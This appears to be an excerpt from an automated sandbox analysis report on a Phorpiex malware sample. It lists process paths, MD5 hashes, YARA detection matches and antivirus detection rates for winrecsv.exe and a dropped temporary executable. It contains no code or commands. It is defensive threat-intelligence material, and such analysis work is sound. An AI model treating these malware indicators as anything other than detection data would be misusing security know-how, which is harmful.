Wow64 process (32bit):	true
Commandline:	C:\Windows\winrecsv.exe
Imagebase:	0x400000
File size:	77312 bytes
MD5 hash:	ED2D7B25BB360CCCB4F0F6A4F8732D7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000001.00000002.347600156.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000001.00000000.345529527.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\winrecsv.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: winrecsv.exePID: 6516, Parent PID: 3808

General

Target ID:	5
Start time:	18:31:21
Start date:	15/08/2022
Path:	C:\Windows\winrecsv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\winrecsv.exe"
Imagebase:	0x400000
File size:	77312 bytes
MD5 hash:	ED2D7B25BB360CCCB4F0F6A4F8732D7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000005.00000000.377037453.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000005.00000002.606945122.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 509517324.exePID: 6816, Parent PID: 6516

General

Target ID:	7
Start time:	18:31:34
Start date:	15/08/2022
Path:	C:\Users\user\AppData\Local\Temp\509517324.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\509517324.exe
Imagebase:	0x10d0000
File size:	6656 bytes
MD5 hash:	A475E43527D7DC7D6F2D23BAD64FCC99
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 52%, Metadefender, Browse Detection: 88%, ReversingLabs
Reputation:	low